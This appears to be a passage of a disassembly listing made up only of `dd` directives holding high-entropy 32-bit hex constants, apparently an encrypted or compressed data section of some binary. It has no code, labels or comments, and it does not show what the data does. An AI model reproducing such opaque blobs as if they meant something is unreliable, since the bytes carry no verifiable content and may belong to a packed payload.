		dd 0F0004659h, 799FF202h, 9D3004Eh, 81202916h, 0D45A8DE4h
		dd 7D695DA1h, 503F5DB8h, 0ED7202E6h, 5D233587h,	0BF0296D9h
		dd 7F9BCF75h, 4D979065h, 0B2AB6A84h, 0BA825B05h, 321CD517h
		dd 52334F66h, 226D2028h, 0DE8B5B12h, 2EDA39E2h,	0E025CD5Dh
		dd 522D593Bh, 1ADF0E05h
		dd 8187ADh, 292D60DAh, 630E29B8h, 81C02D07h, 91AC1B0Ch
		dd 0A979132Eh, 0C9D1B8C3h, 5498FB90h, 1700F20Ah, 66A7F4DDh
		dd 0CD27C8h, 8AFFAA1Eh,	80EC7C92h, 6ADBE15Bh, 60D1EED2h
		dd 0C041B938h, 1011219h, 91EAF6BDh, 49165DFh, 0AD1A159Dh
		dd 7509D69Ah, 0A6B671DFh, 1F0D18D0h, 78976090h,	4333E732h
		dd 0EBAD7600h, 2B721FBCh, 8E92DC02h, 5F5F4E4Dh,	0FD80CB37h
		dd 50B192F1h, 0F6DE0F0Ah, 7D69BB66h, 12F4D27Eh,	4053286h
		dd 3B581h, 11713468h, 9B40B507h, 0E7772CBh, 9E3D6E95h
		dd 0C005D4C7h, 800FD2E4h, 0BDF58CABh, 9D2C4120h, 9137284h
		dd 81EB7361h, 0E90AA7DBh, 252016DFh, 3E5B16A9h,	0F3815283h
		dd 2271B99Bh, 5733ED2Bh, 0F85FB3ADh, 3DD025Dh, 0E05169B1h
		dd 0AB2BD33h, 55CE3AD5h, 0FBF43C3Ah, 8F5E9DD4h,	785D0A61h
		dd 8E13FC3Bh, 0BCF55589h, 0F00A2DFAh, 84A8D871h, 5B5B0959h
		dd 67AD85EDh, 1EA95E93h, 3840C4Eh, 0ED55BD57h, 6B172B94h
		dd 6584C7F8h, 0F4960919h, 148A8882h, 3FBBE913h,	6B5A3A05h
		dd 1354D647h, 0E3CBA696h, 0EFD789BEh, 10D58D41h, 3E8EF72Fh
		dd 939D2A09h, 9AAA6838h, 0F57AC4FCh, 93DE85B1h,	32EE60C8h
		dd 0FA576168h, 59550B18h, 0E7373B22h, 0CCB86B82h, 1222DE93h
		dd 0D238AD19h, 0F7F67899h, 8A501AA1h, 2A04E5DEh, 74C0F0DBh
		dd 173C648Ch, 0A1057700h, 1C4B4BFh, 2D0F9B0Bh, 3BE1B940h
		dd 45E9F02Ah, 86FE4603h, 8C6173FCh, 0FCC0909Bh,	0DF9D3384h
		dd 0DB48D304h, 8DAFE5B6h, 1CFD4D5h, 65D42B12h, 82D369F2h
		dd 5B5C2BA7h, 31284171h, 1399A997h, 2EDE51E9h, 0B0DA0AC0h
		dd 0ED3BE810h, 0C4112D75h, 5964008Eh, 0DD38F480h, 0DE3F6FBFh
		dd 5BE49201h, 16AE39F3h, 1DFF60F9h, 0FBF1D7DCh,	8A56C42Ch
		dd 0B1AB777h, 34A39ACh,	5004DE4h, 0EAF651A7h, 29E742FEh
		dd 62E6FF7Dh, 3DDF0319h, 0F0FC2D97h, 0DA0E6702h, 0B5F9EC3Ch
		dd 0A9019C84h, 9509C351h, 63BD84E5h, 5E78FCC9h,	1B4E95h
		dd 0CF3DA62Dh, 0DDCFCC9h, 7D37AB25h, 5980A0BFh,	349D069Fh
		dd 0FF9726BDh, 0A46017AFh, 0B91366EAh, 451DC762h, 8FDCB881h
		dd 5A739661h, 40A13800h, 0F9A80405h, 0D0484202h, 90A9C22Ah
		dd 0BDF8176h, 28240D83h, 0ABF0B5FDh, 0BCD280EAh, 0BAD86DB4h
		dd 0A34C9209h, 9AB5E51h, 6D5F7A96h, 0E61545B1h,	8AD4262Fh
		dd 0FF4A0C11h, 0B5292B20h, 0F9174F9Dh, 7631CC8Ah, 90F39F16h
		dd 1ADF8080h, 2776D781h, 4133B8D5h, 4FAAB659h, 1B7F63EDh
		dd 68605FFAh, 30551D92h, 7344B304h, 0F2BE0061h,	0D1E09FA3h
		dd 0F695A64Bh, 430B2D75h, 2A12CB61h, 16C8C59Bh,	309FB3C0h
		dd 559D122Bh, 0C5C4A918h, 0F86BF66h, 0E7811C5Ch, 74FC4A67h
		dd 0B4B3C2FFh, 608545F1h, 8404F48Ah, 2A142371h,	12890F0Bh
		dd 86A62AF1h, 0B7E57F69h, 0C0BDE02Fh, 0C1964F26h, 488BB8E3h
		dd 875A0F3Ch, 73F82749h, 1EDA595h, 0D7802E40h, 8014971Bh
		dd 0B4562C44h, 38C940E7h, 8F039FD8h, 296AF582h,	2524A295h
		dd 351A815Fh, 84FE050Bh, 4840B8AAh, 53FE0F8Eh, 7E6A21BBh
		dd 6B2E5F67h, 2F1C2314h, 0C1019270h, 7E9BB8F0h,	0E63FFCB3h
		dd 26C5481Bh, 56525332h, 95416B20h, 0F8B33F18h,	3F6E6C8Dh
		dd 0AEF0C7A6h, 9ABFFA6Dh, 0C12D8273h, 663A5581h, 12D40CF4h
		dd 0E0F88BB6h, 0DE9FE83Fh, 89095E91h, 0FF07DDB5h, 0D6880D34h
		dd 0E9743E9h, 0D0FBEB31h, 198C2DCEh, 948092DBh,	9124A712h
		dd 7C2F67Eh, 9DAA44A6h,	0DECE20B0h, 6254FD2h, 227C6CDh
		dd 7783BF50h, 0C5E92F4Ch, 3F88AA29h, 0D1BBDB97h, 74F9CCE6h
		dd 42FE29BFh, 126E41AEh, 0C4DF0102h, 9261612Ch,	3B1FCA05h
		dd 0BA4BCC6Fh, 800FC005h, 69C80D16h, 0F4813B90h, 221AD281h
		dd 3E6577F7h, 0AB2D12C2h, 0A772F9C0h, 0AE50E3DBh, 0E755005Ch
		dd 37E01506h, 57E26090h, 61715874h, 80E497h, 0C275166h
		dd 0CE5484BFh, 0F7D3700h, 0C23C4143h, 0BEF3C7Bh, 0F7090540h
		dd 6950615Ah, 0E329F825h, 0C2118724h, 7B5D61FAh, 45DDD02Ch
		dd 9085E74Ah, 3FF90C8h,	1B547F0Bh, 1E076014h, 8C52BAC3h
		dd 6A614A11h, 0CE1F9B3Eh, 5FF869DBh, 0E2BDFF4Eh, 0AD147FABh
		dd 7CBCE0B7h, 0D1FF2442h, 0C6D0923h, 97AA455Fh,	0C07F9E50h
		dd 0ECBBD87Ah, 31122DF4h, 0F525B3D3h, 26AE123h,	28CD1012h
		dd 0ECF6A220h, 3694434h, 84A39FEh, 26092DCh, 61E1E880h
		dd 9C7F26E9h, 0CA0F2037h, 0F3FBF98Ah, 70F26C70h, 0D02527D9h
		dd 0C4CB8A5Fh, 83B57725h, 598D302Dh, 7416728Bh,	0C7DF4A90h
		dd 0B3E34EABh, 1D910BBDh, 52CA3F09h, 0C5EF8006h, 294A7E31h
		dd 532793CAh, 9AC7EDC0h, 2074DB9Fh, 0AC5EB5F7h,	0F478DE2Dh
		dd 6F762A16h, 1D453C05h, 58A019A7h, 0B19570F4h,	0B8153B69h
		dd 324E804Ch, 129D05Dh,	0FCF7712Ah, 0C0B01A72h,	453E91BBh
		dd 70E612EEh, 0D081220Eh, 8271E414h, 0BB9AEF09h, 0D45605Ah
		dd 4F51FF60h, 2729F21Bh, 8824F9F5h, 55AC0588h, 5E92C48Ch
		dd 0D93041E9h, 46F93EC1h, 0B318929Fh, 0E0A24B60h, 0F964824Ah
		dd 19030C71h, 90B09758h, 0AD3A4D8h, 6573C5BFh, 0F6A0807Ah
		dd 3E1106ABh, 936DF11Dh, 2FE0312h, 99D8925h, 0E1A090FAh
		dd 0E988E185h, 9A43D49Bh, 27142118h, 19C00485h,	715470BBh
		dd 0BDA9F15h, 0CFFBF37h, 0E387980Bh, 6EE10277h,	28F0D157h
		dd 2495BD7Ah, 4956294Dh, 30751201h, 13E195Ah, 0E5D2CC49h
		dd 0DF10B764h, 0B0904EFAh, 0DBBFFBBFh, 0C592F09h, 9F684625h
		dd 0A7B859D3h, 1145FB22h, 852D7724h, 534B0995h,	3D38316Ah
		dd 95890102h, 27018448h, 4CF9CD8Dh, 1F4DBF61h, 0E18DEDEEh
		dd 0C98EF9DCh, 0A2F63F6Ah, 0F067CAF1h, 623DEC25h, 91B91FBBh
		dd 54D1F12Fh, 2E70A909h, 96F9D8h, 0DDD13A3Fh, 832DB91Eh
		dd 0D1C2DB10h, 9B4424Dh, 0FE69D356h, 2D131062h,	9987F53h
		dd 0D5B9418Dh, 2908FC12h, 0BE519708h, 1FF1141Ch, 0F62AC02Bh
		dd 3D5AE098h, 318D259Bh, 73B79B52h, 0C0947B16h,	955CEEF1h
		dd 0D6EB0F0Ch, 4B59DE61h, 0F451F914h, 164E6AEFh, 8FE7E9Fh
		dd 542D186Ah, 0A82D127Eh, 76B6A5CBh, 62F0A2A3h,	0DA027DB8h
		dd 0B3F86F09h, 0A7727129h, 50091451h, 5F60F56Dh, 4000B921h
		dd 0FDC1532Dh, 0B752F07Bh, 89F0EC88h, 0BE5B5B5Fh, 0F758B4A3h
		dd 8F2C0932h, 0A87FE349h, 75138577h, 0DFBFA520h, 0C1959503h
		dd 0B70F5681h, 6E3E5BDBh, 0A49B001Ah, 0F058ACF4h, 0CD0A2029h
		dd 0F932C92Fh, 526AC40Fh, 0AE62A2A2h, 0A056B56Fh, 0FEC5064h
		dd 226BC180h, 0D800679Eh, 0E03A0CD4h, 0BF2ABE2h, 0E1FF5F8Eh
		dd 2DC02FCh, 0BCC56EFFh, 905D6051h, 785E6C5Fh, 665F0092h
		dd 6A0BCCB0h, 80055DE2h, 896EB1C8h, 5BFAE4ABh, 4BEDFC95h
		dd 6859E2F6h, 7EC06012h, 8E820D95h, 121CE8DDh, 9098B261h
		dd 1169501Bh, 2CFA2B4Bh, 27D31F1Fh, 0AF0CC408h,	955A7CCCh
		dd 9360EEE4h, 5BD57A84h, 75D0A573h, 0FDA61C4Ah,	4DF6A5Bh
		dd 0A0882A36h, 0BD5B9EECh, 20953930h, 0D3C49F1Ah, 0DF9074Bh
		dd 33D18897h, 22CD9D13h, 0EAB4ABFCh, 380F166Ah,	1BCB213Dh
		dd 0B3809471h, 46E21DFFh, 4BEFB290h, 405AC950h,	0D78A1275h
		dd 75FF9B00h, 867D4C74h, 0E4FC0EB1h, 34E55A5Eh,	3B6EFE90h
		dd 5080F93Fh, 0A67CECDFh, 0B34E25AEh, 51ED5AA0h, 94817501h
		dd 37A97E68h, 2BDFDD25h, 0AACF591Ch, 556F3628h,	668B082Fh
		dd 2F2C38D7h, 0D12600D7h
		dd 75D90191h, 0AD0F8B2Eh, 82D8F9EEh, 564CA1CCh,	0F3D4B5Ah
		dd 638C0104h, 0DA893682h, 45D4817h, 7659D8C9h, 12CF5CADh
		dd 0D144AD0Eh, 4D844AD8h, 0A27FF7BBh, 39D357F4h, 0C0E8D452h
		dd 0FE282548h, 7E5FF004h, 0C0FEBFAFh, 23C9BB96h, 6D2F5A24h
		dd 0E690DDC9h, 14070D67h, 182B9E3Eh, 88EA65B4h,	59BC60EBh
		dd 0C2E5E840h, 0A6C0034Ah, 0A50E582Ah, 304D7181h, 61894559h
		dd 1B8BB53Fh, 6F03C0CCh, 0BDFA8B12h, 0E03E06F8h, 22834C90h
		dd 0B589EC0Bh, 0F204EE10h, 2E0DD037h, 567D3572h, 9B36024h
		dd 98906268h, 52502717h, 6B8029ECh, 9FD24E76h, 0F8601902h
		dd 0C2561142h, 0FBE0D5A0h, 0E120A6D6h, 9D78A839h, 27AE2485h
		dd 7574DEB6h, 22FB7E5Ah, 807860BEh, 0F45FCB2Dh,	0F490C463h
		dd 0A8B0BF8Fh, 11A4E0B4h, 9D60FA92h, 0B5BF381h,	6159A077h
		dd 1712A2D6h, 0FF335ACh, 2D31EFD4h, 0EA7C2E4Ah,	94DD22A2h
		dd 215BCF9h, 2DE9A2C0h,	0F87510A7h, 812B1827h, 94B70BF7h
		dd 9DF750AFh, 70D27AF1h, 0A0F17B00h, 6371FE0Bh,	0C461004Fh
		dd 1FDF3999h, 324F187Fh, 6BE28AECh, 0BF4429h, 45BE3C3Dh
		dd 0CD93AA9Ah, 0B608B229h, 5F044F62h, 0D0C07BB3h, 321C5956h
		dd 0A280FF0Eh, 0F4757FF2h, 0DF0B0E9Fh, 0FC2B8A31h, 0B30BF1F3h
		dd 0AEB0F705h, 0EBBEBAD3h, 0F6B7FC25h, 6585B000h, 8096682Ch
		dd 8CDD4ADFh, 0BD120B9Fh, 31F20C0Dh, 0E68BF02h,	4FD0AE6h
		dd 671FDEB4h, 51C00C7Eh, 10FA36BBh, 5E5F0CF9h, 0BAC74703h
		dd 0EDD95F8Eh, 981EEC7Eh, 9FBA7108h, 156492CDh,	23770B61h
		dd 44A94B10h, 80B13D87h, 0F2B45B6Dh, 7DBC9115h,	44F74ABAh
		dd 62D613B2h, 8D43DA2Ch, 9EA9D441h, 0BD9BFBD3h,	0A106BB80h
		dd 50075C6h, 121A027h, 0B92EED95h, 292D3B7Ah, 0FC5A59F4h
		dd 7E9FD4C2h, 96AE8B42h, 590B8758h, 5D4DD4DCh, 0FB2F3185h
		dd 6A5ED2CBh, 7ED62757h, 5AB3C211h, 532F0F56h, 7A347170h
		dd 1B62A11h, 0F49F380h,	903FF9BFh, 1CD99DDCh, 2535B095h
		dd 467F006Dh, 5F59ED84h, 0E1E25DA1h, 3528BA95h,	0E6C280A5h
		dd 0A139F3A3h, 70DF772Fh, 0DD0B4AF8h, 805E3C2Dh, 9ECE5DD8h
		dd 75A005BBh, 0AC85B7BFh, 0F2894681h, 0C4CC4D65h, 452F601Dh
		dd 7F300131h, 85D7E423h, 0C1257832h, 810F5750h,	0FFF2353Ah
		dd 0FEE7F45Ch, 1849FC9Fh, 0FE078718h, 0D77AF142h, 5246661h
		dd 2D516681h, 7E12DD2Ah, 0CFC84935h, 32DB0004h,	5F5C5888h
		dd 6AE25B4Ah, 0F11C920Eh, 1F8AA203h, 517C5670h,	50F51042h
		dd 64AB756h, 3DCA15Ch, 1D1870E3h, 0E9B2F515h, 51DEDA90h
		dd 6D770F01h, 7D7AE2C9h, 2BAEF4h, 43015B88h, 0E0DE2CD3h
		dd 0D092A5ACh, 59FE7B97h, 20F181Ah, 4D4E0BD0h, 9057B68Eh
		dd 9293D3h, 0DD5ABECBh,	8D7EC381h, 5F2B3E16h, 80542AFFh
		dd 68488ADDh, 0E4BC07A2h, 9475231Eh, 0C0C5ACF9h, 0DA294BBh
		dd 0E94F953Eh, 508FDB2Fh, 1290F5D5h, 0FB2B3527h, 4609325h
		dd 0EA2A1925h, 237E98h,	0CA9F6D45h, 85BABDA9h, 1F202700h
		dd 0C295F1B6h, 0FBE1259Ah, 0FCEF5D44h, 7A098E49h, 58615E91h
		dd 9D0B09CDh, 4D5F2B89h, 70ED255Dh, 0BE168440h,	4F7E02FFh
		dd 0A9E956D2h, 3126807Fh, 972D3D9Dh, 0ED4994DEh, 53B74031h
		dd 5F007CD3h, 824E26AAh, 0FC57BF7Eh, 4A7F7FD4h,	0FD24EAB8h
		dd 0F74AEDA9h, 7454A098h, 96CC244Dh, 11F508F1h,	98309012h
		dd 3F6C8h, 0F994FC41h, 0CFACD916h, 54BEE00h, 0AA202C3Dh
		dd 503C1F01h, 0A690928Bh, 0FDBFE034h, 0D4FC9799h, 31B1F540h
		dd 0A45E9FC4h, 2437D52Dh, 6770D883h, 0F86EF9CAh, 40C13A20h
		dd 0E4B56008h, 460109B7h, 497DC0A6h, 3A5B6187h,	0EDDF97C0h
		dd 0E562CE52h, 9031AD72h, 4ED956D9h, 0BC7DED1Fh, 9CB63E30h
		dd 84B5B400h, 0BD31DA0Ah, 0B97652BDh, 15772797h, 13311DE2h
		dd 0B488BA79h, 0F2B79505h, 8489290Bh, 0F0120FC7h, 654A17A6h
		dd 21FB90C4h, 2EFDB854h, 0A07CFFF9h, 0C6BE23h, 610904C4h
		dd 0FFBA0FFEh, 0A24D1A00h, 685F3AFh, 0FBC42FDBh, 5B4BEDC6h
		dd 0DAB22A84h, 0B37BB600h, 0A406C4B8h, 62413100h, 7D782333h
		dd 0CAEB0281h, 5B46BAEEh, 3D8222D5h, 834EFF0Fh,	1129409Fh
		dd 2E5F8109h, 0DD8A4E30h, 22D165FFh, 0FA9D52E1h, 0F060DF68h
		dd 0B54D5F9Dh, 20349052h, 9F022E50h, 0F00E9B7h,	0D223ADFEh
		dd 8D4102C2h, 26B790EFh, 0EEA2658h, 0BBB6019Fh,	90024602h
		dd 2475CBE0h, 0BB513897h, 304204FCh, 3CBFE954h,	9D589060h
		dd 0CD801537h, 5ACC3149h, 251B0033h, 0A2B96059h, 29580D93h
		dd 61D116ADh, 27446FAEh, 9F2C7896h, 0F3A7DB5Eh,	181B59E3h
		dd 77120084h, 49D92D96h, 9D252BC5h, 0F53AAB31h,	9314B089h
		dd 0EAFC39h, 3C3B21F7h,	0FB17B1Ch, 0C6ECC95Fh, 84722EA0h
		dd 0D2A0E059h, 230195BBh, 905B1BA9h, 8E7FBD2Bh,	27BD5FF5h
		dd 80D67DB9h, 6DBE944Bh, 0B729120Ah, 1B6E303h, 8D42C781h
		dd 4051CA4h, 472C2D88h,	5F5BD1B5h, 0F8E56A4Dh, 22208BFEh
		dd 1E7CCF51h, 0B81C7004h, 0B2200095h, 9601603h,	28E52DBDh
		dd 8B6E80B0h, 56956D07h, 4BE0C914h, 0F893D10h, 6A3C29BAh
		dd 0E6613EC0h, 0FE4B8A70h, 5AD710EFh, 0ABF78009h, 0E45B472h
		dd 701FC82Ah, 7C71E102h, 5C3344F5h, 191025BAh, 1473697Ah
		dd 0EA22BF01h, 4C9D8E62h, 0C6A8D17Bh, 0D0EC8B33h, 86E45F61h
		dd 0DE9F2990h, 75C84B6Ch, 0D2072F72h, 37DB2776h, 0CB9BD300h
		dd 0FA7A09E1h, 0B9FE8F94h, 31B9BD84h, 2BD8B330h, 95F5C820h
		dd 0A8E9DAE0h, 8159FB95h, 0F3C8B28Dh, 53D1D14Ch, 1AE0B763h
		dd 69008402h, 7A8D5A8Eh, 1C815B1Eh, 0FF41CBC3h,	441CD05Ch
		dd 3B43664Ch, 1F922C58h, 0F49CE2BCh, 2E07C00Ah,	1B4B9480h
		dd 6EB779Dh, 6119CE9Eh,	2B726EEh, 5F08F502h, 53805EC5h
		dd 0E95FDE8Ah, 0CF66BF44h, 0FB7EA127h, 2F1D89DDh, 2A11AF73h
		dd 0ACF4845Bh, 0B6FCB4AFh, 0ADB531C1h, 0CAC40401h, 0FD5C7418h
		dd 0B5149718h, 965E4220h, 193A4364h, 822CD7E0h,	7BDA401h
		dd 6A8C9817h, 0C1519B6Eh, 8BC9A41Eh, 0BD2FFEC5h, 606AA9F7h
		dd 80707936h, 0B99AE707h, 0FF090F1Ah, 31655846h, 9AFE02D8h
		dd 0F7B79706h, 2172103h, 0BDB0D05Fh, 0B702FC84h, 4BD380FDh
		dd 0B3A390B8h, 0D22B291Fh, 25082842h, 4DC50795h, 0F181659h
		dd 79079FCh, 0DE1DA12Fh, 0D7FEF447h, 3D4C907Ah,	35EC0F1h
		dd 3E35E4A9h, 0D207AEE2h, 30781020h, 0C1E9746h,	0AADAC416h
		dd 0B87B74C9h, 52EA1362h, 5761EB04h, 0EF93B2E8h, 0FE672600h
		dd 1E0D16B5h, 6FE0FCCDh, 11177FDEh, 60C75BFDh, 0B63360BEh
		dd 660B614Dh, 46DD41BFh, 0F3FC9D10h, 85A30349h,	21684DDh
		dd 61D6A406h, 646B825Ch, 701300FAh, 2AAB7A68h, 7324342Bh
		dd 2267EEAAh, 0FF28ECA1h, 9CBE32Eh, 7FF98A5Bh, 0E6A3A017h
		dd 4FB8E358h, 0FE388414h, 5DA4C80Fh, 6EE2DED2h,	9EA08A88h
		dd 49C5855Eh, 0FEE74256h, 755AE6A0h, 0A732613Ah, 10297589h
		dd 0CC0042D1h, 59CBB35Ch, 86BD329Dh, 95FF5BADh,	0A3914152h
		dd 284F6360h, 0D707886Ah, 8BFA393Ah, 0C1FF6175h, 60219B1h
		dd 88F0957Ch, 4F0FE13Bh, 45E456ACh, 0AB041297h,	7309D17Ah
		dd 9E71C69Eh, 4570246h,	479DA9BBh, 0A39DB805h, 0ED6C5EBAh
		dd 84CCBDF3h, 6752049Ch, 0AA6DDC5Ch, 0B501E802h, 1296FC61h
		dd 1FB03060h, 0D907E017h, 0F1DAD586h, 9313DE11h, 25429D20h
		dd 0A3C05BE4h, 0D558D09h
		dd 87142BA3h, 6C9A1297h, 8AB784E4h, 0B8005171h,	18ED9D09h
		dd 0A26900F0h, 3567B1B3h, 0AD04FF83h, 0BD2829Ah, 1EAD08BFh
		dd 7AF05B13h, 388617D7h, 0AC74FD5Fh, 0E5008C17h, 19DC027h
		dd 0BF16C98Dh, 14E471EDh, 0F3807760h, 13FE0558h, 76A808CDh
		dd 0FB616084h, 1117A7D1h, 6A5F893Ah, 0D00A26Eh,	52941F4Eh
		dd 3C4F9F8Fh, 20BD582h,	162007E8h, 17A863FCh, 40E30EEEh
		dd 8671C0B9h, 129D850Fh, 0BFE95001h, 5280C745h,	0EC56D0BFh
		dd 0BBC0C016h, 234720ACh, 8A50C2C1h, 0A3A08BD9h, 0A4943CFDh
		dd 9C32AB5Eh, 0A4108F89h, 9BEA58D8h, 0E8E9C45Ah, 132714FCh
		dd 9CDE1CFCh, 21D0C734h, 0CA8DBC41h, 7C9AC6D8h,	0BDE9894Fh
		dd 30931AA8h, 36FC1B00h, 9338CB1h, 4BCF80A5h, 0E9211877h
		dd 0B7C49776h, 302F2545h, 0BF48C7E9h, 0C531E00Bh, 4F3216F5h
		dd 0FAF72058h, 49021A83h, 38450480h, 6E345E61h,	0BFFEF8CBh
		dd 2AABFAC5h, 335A806Bh, 0B725F99Dh, 0F37AD0DBh, 89F20B04h
		dd 0BB3AE5E0h, 546FFA27h, 1446D65Fh, 0F1F8BF12h, 2D54201Ch
		dd 85B03CE3h, 91E16BC1h, 5FC46E3Ah, 2909DAE2h, 385671B5h
		dd 0D6705151h, 5B77C04Dh, 0A1934368h, 0BCC0185Fh, 7EA9FBBAh
		dd 99F4950Ch, 0BE90BC02h, 0F6377518h, 7CCD8D00h, 90CF1AB1h
		dd 1312267h, 560FFCC9h,	0FB58E935h, 4FE6BFh, 2F299FA2h
		dd 0BB6B4803h, 0AE3DBF07h, 6DD0ABB2h, 2F32F306h, 7DFA97B7h
		dd 719D2B09h, 9FC71418h, 54690CF6h, 0EF5D69A3h,	641A456Ah
		dd 0BCC8FBEEh, 0FE8162Ch, 0AB5E2583h, 12F9F671h, 8F19A77Fh
		dd 2DC5A433h, 8B5EC29h,	899E7687h, 0D26595DCh, 0F2BBF00h
		dd 1BB19D2h, 1BB1CA98h,	0FAB5BD0Bh, 63BDF7h, 0C07BAD86h
		dd 0DB7778A1h, 0E0779497h, 0F93EE104h, 0FAA9B847h, 0D37501DCh
		dd 0B526433Eh, 83C83BCEh, 99379D2h, 35F25009h, 0A5234C7Dh
		dd 0FDBA970Eh, 0FC2EEC4Bh, 0D1C096Eh, 0D6FC0E6Bh, 0B59D0B05h
		dd 0B3BB28FEh, 2DEED99Fh, 7D40006Fh, 5E0BE099h,	16D6F289h
		dd 76F3800Fh, 97DA4A50h, 0BB5C259Ah, 68E47569h,	2B94019Dh
		dd 0DEF15095h, 0F94F717Ch, 819A5FB0h, 0DFC015C8h, 97DE8ACBh
		dd 255EA492h, 617300DEh, 2AE897C0h, 549F8D31h, 0C0DE2FF2h
		dd 0C057BED6h, 8443A4C8h, 2CCA8809h, 0A5937B07h, 4BD6A9FCh
		dd 2E30AB69h, 8312199Dh, 0CA58BE2h, 3F46C9B5h, 1AA8FCA2h
		dd 5D52820Bh, 66D789B0h, 7A035C7Ah, 75FE0D25h, 261446D4h
		dd 0FD0B96B8h, 65587C23h, 0FC9EFE5Fh, 6D6719C1h, 616CF0B9h
		dd 725D9B0h, 0BD79E6C7h, 2A1959C1h, 3A1383CBh, 0D59BFB2Ch
		dd 78CBED2h, 81F20116h,	919E5FCFh, 777F2145h, 1D3BE00Fh
		dd 47510B86h, 79FEFDC0h, 789270h, 0ECBE05B2h, 0D7D1544Dh
		dd 0A16AE800h, 210B7902h, 0B031E887h, 7F0841F4h, 6E2A75B1h
		dd 0EA99009Dh, 0E4D9DE77h, 0EECC2725h, 57208B77h, 0F18F343Dh
		dd 0CF7A1E5h, 0E3C5256Fh, 92E9E82Eh, 0FC2585E3h, 262068E5h
		dd 9D2797B0h, 3097AD1h,	65E008D8h, 34B85061h, 425D92A0h
		dd 85311FE6h, 7FDC8927h, 12453395h, 23336BABh, 0A48B0915h
		dd 9027E6D4h, 8D9219h, 91851442h, 0F8E9E4EDh, 0B5490977h
		dd 0C2D84EA1h, 4D951731h, 0C17CFD2Dh, 16D5BD03h, 0B44655F2h
		dd 71C5F502h, 55B89698h, 2212C9CDh, 5C9056F2h, 0D8EB04Ah
		dd 0C639B997h, 181A3E7Dh, 6F5FEC61h, 62146495h,	4DC2E0F6h
		dd 0F353880Ch, 158B5DBCh, 4404E414h, 0B20B3E05h, 8F42C89Bh
		dd 7332694Dh, 0ACBF81EAh, 0D410CA8Ch, 84276E88h, 0FEC70901h
		dd 3A804F83h, 0DF5D5B74h, 4FD09314h, 0DE65C0A5h, 302E83Fh
		dd 0B7F0863Ah, 0A790D64Ch, 0F6041A0Eh, 0F96E6BADh, 273FE2AEh
		dd 53ED1270h, 1F8735Ah,	0D7BC19B5h, 2DDF8006h, 4B77904Ah
		dd 9F69AC31h, 0F095D34Ch, 0E7E94A42h, 5111A006h, 0B5105038h
		dd 0B708404Dh, 68850A4Bh, 0FE240EA8h, 0DC1403B5h, 0F9D41B20h
		dd 0D73AB8A6h, 965DE9C8h, 8B0B9BAEh, 6CD8FC7Bh,	0DE959954h
		dd 0EB5C5AC9h, 848D01D4h, 8B8EC0A2h, 0F8EC41FBh, 5FE62F2Ah
		dd 5F3019B2h, 0CF9D0B63h, 2BECC8A9h, 20F1B510h,	0D1FFF50Bh
		dd 237005D3h, 6C840017h, 52F381E1h, 8BE46F0Bh, 0B28AF84Bh
		dd 4C6F9027h, 8986CD60h, 321D2585h, 4D698AFCh, 3AFD490Ah
		dd 48127826h, 6C096E81h, 41291274h, 0BF079F54h,	759B7915h
		dd 60E57395h, 61C00BFBh, 9DC1CE54h, 0EC13090Dh,	0FD4C38B4h
		dd 3171AE05h, 0A00523CDh, 3F5FC658h, 0F0A88h, 80CE475Fh
		dd 0A4742D13h, 0F4377F04h, 0A6BF77D1h, 5FF6A512h, 801F9101h
		dd 21506BCFh, 3D43255Dh, 2D2DB8B7h, 259017C1h, 3B02CAA1h
		dd 2E8BB10Fh, 2609FE57h, 255F2E21h, 9209B577h, 13606117h
		dd 20E7C598h, 1E4AFD2Dh, 4A0A6FFAh, 9519C660h, 1027E5Ah
		dd 0C7BB34D6h, 7B16675Fh, 67A9CBEDh, 82B32810h,	0AE04354Fh
		dd 0DDF6FF6Ah, 0D5D21CE0h, 7166CE12h, 852135EBh, 48B0AB03h
		dd 6B197FCh, 22AC155Bh,	442487h, 0A70EEAA6h, 0BD991000h
		dd 0CFA91CAAh, 95FA2585h, 4F3516E0h, 0E64D9409h, 0AAB50070h
		dd 252611DEh, 7C5171E4h, 212C4A7h, 0CC28F364h, 35EEEE3h
		dd 0B15F1B91h, 16FC39B0h, 6053C8B6h, 813672FBh,	38977D60h
		dd 0D4E42FFBh, 60628CB1h, 57227D14h, 0DC805679h, 0C0625C8Dh
		dd 9434004Eh, 0AA706551h, 611CEF31h, 0FAEFB364h, 5D9D4BABh
		dd 0ADB3A609h, 6F3EB8F5h, 42B825D1h, 0BC0E20F7h, 0F11FA045h
		dd 0A18182F6h, 56A82401h, 23057B12h, 8AC00A21h,	48554C50h
		dd 0DF3DF347h, 0EAC208A5h, 4900CAD1h, 8768D3FFh, 11032DC6h
		dd 594A3463h, 7592EDD7h, 1010311Ah, 2FA3EF81h, 95C02272h
		dd 0C69763E9h, 0EF9A9573h, 0BD1D8C0h, 4BEF3197h, 846D297Bh
		dd 9A2FE3AEh, 0F08F8FA8h, 97803220h, 0B097B2A8h, 138A6000h
		dd 0F48D31EBh, 8B5F619Ah, 898581BCh, 37852495h,	0DABDF0B0h
		dd 3F0011C9h, 3BB0FE5h,	97812274h, 6D5C10B0h, 82E91F5Bh
		dd 0CA5F90BCh, 0BC6E5BB1h, 20A8B621h, 0B9701181h, 0F51204B4h
		dd 0B000DCE1h, 77AD9F03h, 0B160131Fh, 0F091C062h, 2B2C619Ah
		dd 0DE33C0h, 0B75ECBF2h, 0D04B5BDAh, 0E98AF762h, 0AD737F24h
		dd 9418584h, 2E07CDBFh,	4FA077A6h, 7000D769h, 67534BCCh
		dd 0F78DBB66h, 0F4ABBC3Fh, 0B543A4h, 0FBF09A4Bh, 0A81F72EBh
		dd 9D318A05h, 0EF2317D5h, 29AE8471h, 0A97D394Dh, 3D3CF3E9h
		dd 0A671F5C9h, 858BCBBBh, 12656BD3h, 5BB9A49h, 0EB17B961h
		dd 2881539Eh, 0F81502E5h, 0EAA30E53h, 1C5729B2h, 346B4F17h
		dd 0B8A792F0h, 0E4C66757h, 71A16019h, 2E92133Ch, 0A9BA162Ah
		dd 0B51676A2h, 0E6A93229h, 0EDFDF9C9h, 0CBDCEB82h, 9A328D01h
		dd 7FFEA8B1h, 6525E6D9h, 3F90B8Ah, 0F407F6h, 4895177Ah
		dd 5030FCFDh, 24FAF34Fh, 0A396AC8Ch, 6E614ADDh,	3912543h
		dd 998ABB32h, 282E3727h, 468A76B5h, 12EA0093h, 7C8B4FADh
		dd 0BF0460D7h, 68534C46h, 0FC4884B8h, 0D290F9D7h, 71018BB0h
		dd 0A32F5A9Dh, 32166C5Bh, 9CD209BBh, 79516A48h,	48E3FC92h
		dd 0D4B25Eh, 54348E9Bh,	26584FEh, 0C5E47935h, 3451310Ah
